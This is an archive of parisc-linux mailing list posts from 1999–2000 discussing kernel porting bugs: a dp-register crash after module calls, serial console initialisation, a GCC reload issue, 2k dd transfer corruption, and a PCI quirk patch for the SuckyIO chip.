Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3E27FB005; Fri, 22 Dec 2000 11:39:50 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8986

Hi,
  I just had a crash loading a kernel module; it was in schedule(),
but r27 (dp) was still pointing to the modules local data.
r2 referenced the syscall exit path.

My theory is that the syscall involved calling the module, which
would set dp to reference the modules local data, and the return path
had no cause to reload dp as that is always the callers responsibility.
So, I have added a loadgp to entry.S at syscall_exit:, which solved the
problem.

However, (a) I'm not sure this is the right place to loadgp - maybe
it should be in syscall.S, and (b) there may well be other places
where we need to do loadgp - eg. returning from interrupt.  Comments?

Didn't see this on 32 bit kernel, because kernel and modules all run on
the same dp value.  For 64 bit, the kernel and each module has its own
dp value.

Richard


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] configuration problems with cvs from 20001216 15:40 CET
Date: Fri, 22 Dec 2000 13:30:20 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20001222133020.A17200@parcelfarce.linux.theplanet.co.uk>
References: <20001217115105.A17378@excalibur.cologne.de> <00121721201800.25726@P100> <20001218230325.A934@excalibur.cologne.de> <00122000445401.00303@P100> <20001221233934.A766@excalibur.cologne.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619462 9291 80.91.229.3 (22 Nov 2014 01:24:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:22 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Fri Dec 22 06:27:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA23556
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Dec 2000 06:27:30 -0700
Original-Received: (qmail 27634 invoked by uid 15267); 22 Dec 2000 13:30:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27611 invoked from network); 22 Dec 2000 13:30:32 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 13:30:32 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149SH6-0004YH-00; Fri, 22 Dec 2000 13:30:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001221233934.A766@excalibur.cologne.de>; from karsten@excalibur.cologne.de on Thu, Dec 21, 2000 at 11:39:34PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8987

On Thu, Dec 21, 2000 at 11:39:34PM +0100, Karsten Merker wrote:
> It seems the "console=ttyS0" is the reason for the crash. To be sure, I
> have taken a fresh kernel tree (checkout from today) and compiled the
> kernel with the default configuration. It worked...

specifying `console=ttyS0' before the checkin i recently did would
definitely have caused exactly that crash.  it was trying to do an outb
because the serial driver wasn't properly configured.  since no 715 has
PCI, outb crashed & burned.

> The only difference to a working kernel is the additional kernel
> parameter. What I find strange in this case is the fact that giving
> "console=ttyS0" is mandatory on other systems - e.g. Linux/MIPS on a
> DECstation does not give you anything on the serial port unless you
> specify console=ttySx, even if serial console is the only option because
> no other console driver is compiled into the kernel.

Yeah, this is because our console handling code was on crack.  It should
work now...

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console
Date: Fri, 22 Dec 2000 13:38:18 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20001222133818.A17975@parcelfarce.linux.theplanet.co.uk>
References: <20001221211830.C21472@parcelfarce.linux.theplanet.co.uk> <20001221212855.E21472@parcelfarce.linux.theplanet.co.uk> <20001222111912.Z2554@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619463 9293 80.91.229.3 (22 Nov 2014 01:24:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:23 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com,
        tytso@mit.edu
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Fri Dec 22 06:35:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA24212
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Dec 2000 06:35:26 -0700
Original-Received: (qmail 2424 invoked by uid 15267); 22 Dec 2000 13:38:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2413 invoked from network); 22 Dec 2000 13:38:22 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 13:38:22 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149SOo-0004gn-00; Fri, 22 Dec 2000 13:38:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001222111912.Z2554@linuxcare.com>; from rhirst@linuxcare.com on Fri, Dec 22, 2000 at 11:19:12AM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8988

On Fri, Dec 22, 2000 at 11:19:12AM +0000, Richard Hirst wrote:
> Yes, you do need `console=ttyS0' now.  Otherwise you get "cannot open
> initial console" and then silence until the login prompt.
> 
> dmesg works nicely though :)

Yay :-)  I just committed a change to PALO which ought to make this work.
I must confess though, I'm not clear where it gets the CONFIG_ variables
from.  are they in the environment?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] configuration problems with cvs from 20001216 15:40 
 CET
Date: Fri, 22 Dec 2000 11:01:08 -0500
Organization: The Puffins at Linuxcare
Lines: 24
Approved: news@gmane.org
Message-ID: <3A437AC4.EA5BC34B@linuxcare.com>
References: <20001217115105.A17378@excalibur.cologne.de> <00121721201800.25726@P100> <20001218230325.A934@excalibur.cologne.de> <00122000445401.00303@P100> <20001221233934.A766@excalibur.cologne.de> <20001222133020.A17200@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619463 9295 80.91.229.3 (22 Nov 2014 01:24:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:23 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: adevries@linuxcare.com  Fri Dec 22 08:54:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA25239
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Dec 2000 08:54:58 -0700
Original-Received: (qmail 12785 invoked by uid 15267); 22 Dec 2000 15:58:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12755 invoked from network); 22 Dec 2000 15:57:59 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 15:57:59 -0000
Original-Received: (qmail 18034 invoked from network); 22 Dec 2000 15:58:00 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 22 Dec 2000 15:58:00 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8989

Matthew Wilcox wrote:
> 
> On Thu, Dec 21, 2000 at 11:39:34PM +0100, Karsten Merker wrote:
> > It seems the "console=ttyS0" is the reason for the crash. To be sure, I
> > have taken a fresh kernel tree (checkout from today) and compiled the
> > kernel with the default configuration. It worked...
> 
> specifying `console=ttyS0' before the checkin i recently did would
> definitely have caused exactly that crash.  it was trying to do an outb
> because the serial driver wasn't properly configured.  since no 715 has
> PCI, outb crashed & burned.

Has that been fixed now?  Should serial on a 715/old work?  

(Also, you can have a 715 with a PCI bus if you have a GSC add on card)

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Fri, 22 Dec 2000 12:21:54 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <200012221721.MAA00889@hiauly1.hia.nrc.ca>
References: <20001208173948.B4198@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619463 9298 80.91.229.3 (22 Nov 2014 01:24:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:23 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: rth@redhat.com (Richard Henderson)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Dec 22 10:19:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26048
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Dec 2000 10:19:28 -0700
Original-Received: (qmail 718 invoked by uid 15267); 22 Dec 2000 17:22:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 687 invoked from network); 22 Dec 2000 17:22:18 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 17:22:18 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA00889;
	Fri, 22 Dec 2000 12:21:55 -0500 (EST)
In-Reply-To: <20001208173948.B4198@redhat.com> from "Richard Henderson" at Dec 8, 2000 05:39:48 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8990

> On Fri, Dec 08, 2000 at 08:07:23PM -0500, John David Anglin wrote:
> > It is my impression that the MEM would pass as a general_operand unless
> > the volatile flag is set.  It will pass GO_IF_LEGITIMATE_ADDRESS.  Thus,
> > the general_operand test doesn't look like it will work.
> 
> Your GO_IF_LEGITIMATE_ADDRESS will accept the UNSPEC?
> The mind boggles.  Why, then, is this strange beast its own insn?

I have done some more testing.

Modifying GO_IF_LEGITIMATE_ADDRESS and adding a general_operand test
to validate_equiv_mem doesn't look like it will work.  The fundamental
problem is that the MEM must pass the GO_IF_LEGITIMATE_ADDRESS test during
reload.  However, this is when we would like the UNSPEC to fail the
general_operand test.

Preventing the substitution of equivalent MEMs increases register pressure. 
Thus, it is desirable to allow substitutions where possible.  On the other
hand, the PA instruction can't handle all substitution possibilities.
Thus, even if all the different insns that handle MEMs in one way or
another were combined into a single insn, reload could still produce
something that wouldn't work.

For a given mode, pa.md has several different insns that for example
load memory to a register.  These exist as different insns because
the predicates (and code) differ.  Thus, it is not possible to substitute
the MEM from one insn into another.

I was able to modify print_operand to handle the UNSPEC beast and delete
the `ldw RT' insns for loading a PIC address.  However, I am not certain
that I can work all the insns into a single insn.  I am most concerned
about the index insns `{ldwx|ldw}'.

The simplest solution that I can think of is not to allow equivalent
MEMs on the PA at all (DONT_ALLOW_EQUIV_MEM?).  Since the problem doesn't
seem to happen that frequently given the number of registers available,
possibly this this is a reasonable approach.  What do you think?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi
Date: Wed, 12 May 1999 22:07:47 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <19990512220747.J1410@mencheca.ch.genedata.com>
References: <19990512194227.52770@insula.local> <199905122000.NAA15037@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619464 9301 80.91.229.3 (22 Nov 2014 01:24:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:24 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@jcsbs.lanobis.de>,
        Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Wed May 12 14:07:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA13680
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 14:07:55 -0600
Original-Received: (qmail 8675 invoked by uid 15267); 12 May 1999 20:07:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8663 invoked from network); 12 May 1999 20:07:30 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 12 May 1999 20:07:30 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id WAA05222;
	Wed, 12 May 1999 22:07:48 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id WAA18226;
	Wed, 12 May 1999 22:07:47 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10hfIB-0002KZC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for grundler@cup.hp.com; Wed, 12 May 1999 22:07:47 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199905122000.NAA15037@milano.cup.hp.com>; from Grant Grundler on Wed, May 12, 1999 at 01:00:04PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8991

On Wed, May 12, 1999 at 01:00:04PM -0700, Grant Grundler wrote:
> Mathew can also download and try to install the PA-mklinux.
> I have this running on a 712/60 now. I suggest this because
> I don't know how accessible HP-UX bits are to the general public.
> HP-UX is usually distributed on CD-ROM these days.

Alas, no.  The 715/33 is the one machine that mklinux does not support;
I looked at that about 6 months ago.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] configuration problems with cvs from 20001216 15:40 CET
Date: Fri, 22 Dec 2000 23:10:06 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20001222231006.A17996@parcelfarce.linux.theplanet.co.uk>
References: <20001217115105.A17378@excalibur.cologne.de> <00121721201800.25726@P100> <20001218230325.A934@excalibur.cologne.de> <00122000445401.00303@P100> <20001221233934.A766@excalibur.cologne.de> <20001222133020.A17200@parcelfarce.linux.theplanet.co.uk> <3A437AC4.EA5BC34B@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619464 9307 80.91.229.3 (22 Nov 2014 01:24:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:24 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, Helge Deller <deller@gmx.de>,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Fri Dec 22 16:07:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA28108
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Dec 2000 16:07:22 -0700
Original-Received: (qmail 10345 invoked by uid 15267); 22 Dec 2000 23:10:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10334 invoked from network); 22 Dec 2000 23:10:25 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 23:10:25 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149bKA-0004vV-00; Fri, 22 Dec 2000 23:10:06 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A437AC4.EA5BC34B@linuxcare.com>; from adevries@linuxcare.com on Fri, Dec 22, 2000 at 11:01:08AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8992

On Fri, Dec 22, 2000 at 11:01:08AM -0500, Alex deVries wrote:
> > specifying `console=ttyS0' before the checkin i recently did would
> > definitely have caused exactly that crash.  it was trying to do an outb
> > because the serial driver wasn't properly configured.  since no 715 has
> > PCI, outb crashed & burned.
> 
> Has that been fixed now?  Should serial on a 715/old work?  

Serial always worked, as did serial console.  Only if you specified
`console=ttyS0' would the Bad Things happen, because the serial console
didn't do a proper initialisation, it just hoped.  Now, the serial console
initialisation is done after the serial driver starts up, so all the
initialisation is done properly first.

> (Also, you can have a 715 with a PCI bus if you have a GSC add on card)

true... though i've never seen one.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dd and 2k transfers on A500
Date: Fri, 22 Dec 2000 17:10:05 -0800
Lines: 85
Approved: news@gmane.org
Message-ID: <200012230110.RAA20271@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619464 9310 80.91.229.3 (22 Nov 2014 01:24:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Dec 22 18:05:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA29038
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Dec 2000 18:05:56 -0700
Original-Received: (qmail 1824 invoked by uid 15267); 23 Dec 2000 01:09:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1817 invoked from network); 23 Dec 2000 01:08:59 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 01:08:59 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 3E070955
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Dec 2000 17:08:59 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA20271
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Dec 2000 17:10:06 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:8993


Hi all,
2k transfers w/dd don't work. I think it was Richard Hirst who indicated
the same problem existed on 32-bit w/C3k. A500/c3k have the same I/O MMU.
I haven't been able to verify to problem with 32-bit kernel on c3k yet.

Half the attempts to "dd bs=2k" result in "garbage" data.

I'm using local disks on the A500 to do the following:
for i in 0 1 2 3 4 5 6 7 8 9; do dd if=/dev/sdd of=t$i \
bs=2k count=1; od -A x -t xC t$i > x$i; done

And then varied bs:
bs	count	corruption?
512	1	n
1k	1	n
2k	1	y
4k	1	n
6k	1	n
8k	1	n

1k	2	n
2k	2	y

Here's cksum output from 2k (count=1) output:
2984123064 7047 x0
3362192344 3584 x1
2984123064 7047 x2
3362192344 3584 x3
...

x0 compares correctly with the original data I pushed out to disk
(skipped the first 1k of vmlinux and then wrote 20k to /dev/sdd):
000000 20 34 18 05 e0 20 2e 22 20 34 28 05 e0 20 20 72
000010 20 34 38 05 e0 20 2f 2a 20 33 c8 03 e0 20 24 8a
000020 20 21 98 03 e0 20 2b fa 20 34 38 05 e0 20 24 9a
000030 20 34 38 05 e0 20 2b f2 20 24 78 03 e0 20 2a 3a
000040 20 35 18 05 e0 20 29 12 20 2c a8 05 e0 20 21 0a
...

x1 starts with data that matches x0 at +0x400:
000000 08 01 02 56 0b 93 0a 13 62 da 01 00 0e 93 12 80
000010 00 00 0d 64 00 01 0e 60 22 60 08 01 2b 66 40 00
000020 4a 77 07 88 22 a0 08 00 4a 7a 07 90 34 14 07 50
000030 4a 79 07 80 36 d3 01 00 0a b3 0a 13 34 18 00 06
000040 6b d4 3f 99 34 21 00 00 0a a1 0a 01 6b dc 3f 79
000050 6b c0 3f 89 6b c1 3f 91 6b c0 3f 71 e8 46 09 38
...

from x0 again:
000400 08 01 02 56 0b 93 0a 13 62 da 01 00 0e 93 12 80
000410 00 00 0d 64 00 01 0e 60 22 60 08 01 2b 66 40 00
000420 4a 77 07 88 22 a0 08 00 4a 7a 07 90 34 14 07 50
000430 4a 79 07 80 36 d3 01 00 0a b3 0a 13 34 18 00 06
000440 6b d4 3f 99 34 21 00 00 0a a1 0a 01 6b dc 3f 79
000450 6b c0 3f 89 6b c1 3f 91 6b c0 3f 71 e8 46 09 38
000460 6b d3 3f 81 00 04 18 60 4b c2 3e d9 e8 40 c0 00          


If SBA code mangled the address offset bits when it contructed the
virtual DMA, this could happen. But then I would expect a similar
behavior for 1k blocks and we don't see that.

It seems like we start reading from the wrong 1k block
on the disk - assuming the data is really coming from disk.
If so, I should be able to capture this with a SCSI analyzer.
I'll try that next week.

I very suspicous of generic kernel since the data is placed wrong
by a 1k offset, the same size linux uses internally.
SBA code deals with stuff in 4k (PAGESIZE) chunks and is unlikely
candidate for misplacing data by 1k.

Any ideas on what might be wrong?

Anyone have a 2.4.0-test10 x86 box running?
Could you try the above dd command out with 2k blocks?

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Sat, 23 Dec 2000 09:15:21 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <20001223091521.A17346@parcelfarce.linux.theplanet.co.uk>
References: <20001219094251.A17217@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619465 9313 80.91.229.3 (22 Nov 2014 01:24:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: willy@www.linux.org.uk  Sat Dec 23 02:12:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA31619
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Dec 2000 02:12:21 -0700
Original-Received: (qmail 558 invoked by uid 15267); 23 Dec 2000 09:15:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 504 invoked from network); 23 Dec 2000 09:15:22 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 23 Dec 2000 09:15:22 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149klt-0004ci-00; Sat, 23 Dec 2000 09:15:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001219094251.A17217@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Tue, Dec 19, 2000 at 09:42:51AM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8994

On Tue, Dec 19, 2000 at 09:42:51AM +0000, Matthew Wilcox wrote:
> 
> Wow, this is a really sucky chip :-)
> 
> OK, here's a first stab at some support for it.  Could someone with a
> B/C/J `thousand' class machine please give it a try, and let me see the
> relevant portions of their bootlog?

See if this is a better quirk.

Index: drivers/pci/quirks.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/pci/quirks.c,v
retrieving revision 1.6
diff -u -p -r1.6 quirks.c
--- quirks.c	2000/11/10 21:43:18	1.6
+++ quirks.c	2000/12/23 09:10:55
@@ -234,6 +234,32 @@ static void __init quirk_vt82c598_id(str
 	pci_read_config_word(dev, PCI_DEVICE_ID, &dev->device);
 }
 
+static void __init quirk_ns_87560(struct pci_dev *dev)
+{
+	static int count = 0; /* So we don't lose if they reuse their IDs. */
+	switch (dev->device)
+	{
+		case PCI_DEVICE_ID_NS_87415:
+		case PCI_DEVICE_ID_NS_87560_LIO:
+			count++;
+			break;
+		case PCI_DEVICE_ID_NS_87560_USB:
+			if (count != 2) {
+				count = 0;
+				break;
+			}
+			{
+				struct pci_dev *old_dev;
+				old_dev = pci_dev_b(dev->bus_list.prev);
+				old_dev->irq = dev->irq;
+				old_dev = pci_dev_b(old_dev->bus_list.prev);
+				old_dev->irq = dev->irq;
+				printk("Assigned IRQ %d to SuckyIO\n", dev->irq);
+			}
+			break;
+	}
+}
+
 /*
  *  The main table of quirks.
  */
@@ -269,6 +295,7 @@ static struct pci_fixup pci_fixups[] __i
 	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_AL,	PCI_DEVICE_ID_AL_M7101,		quirk_ali7101_acpi },
  	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_INTEL,	PCI_DEVICE_ID_INTEL_82371SB_2,	quirk_piix3_usb },
 	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_INTEL,	PCI_DEVICE_ID_INTEL_82371AB_2,	quirk_piix3_usb },
+	{ PCI_FIXUP_HEADER,	PCI_VENDOR_ID_NS,	PCI_ANY_ID,	quirk_ns_87560 },
 	{ 0 }
 };
 

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console
Date: Sat, 23 Dec 2000 13:37:47 +0000
Lines: 164
Approved: news@gmane.org
Message-ID: <20001223133747.B13472@parcelfarce.linux.theplanet.co.uk>
References: <20001221211830.C21472@parcelfarce.linux.theplanet.co.uk> <20001221212855.E21472@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
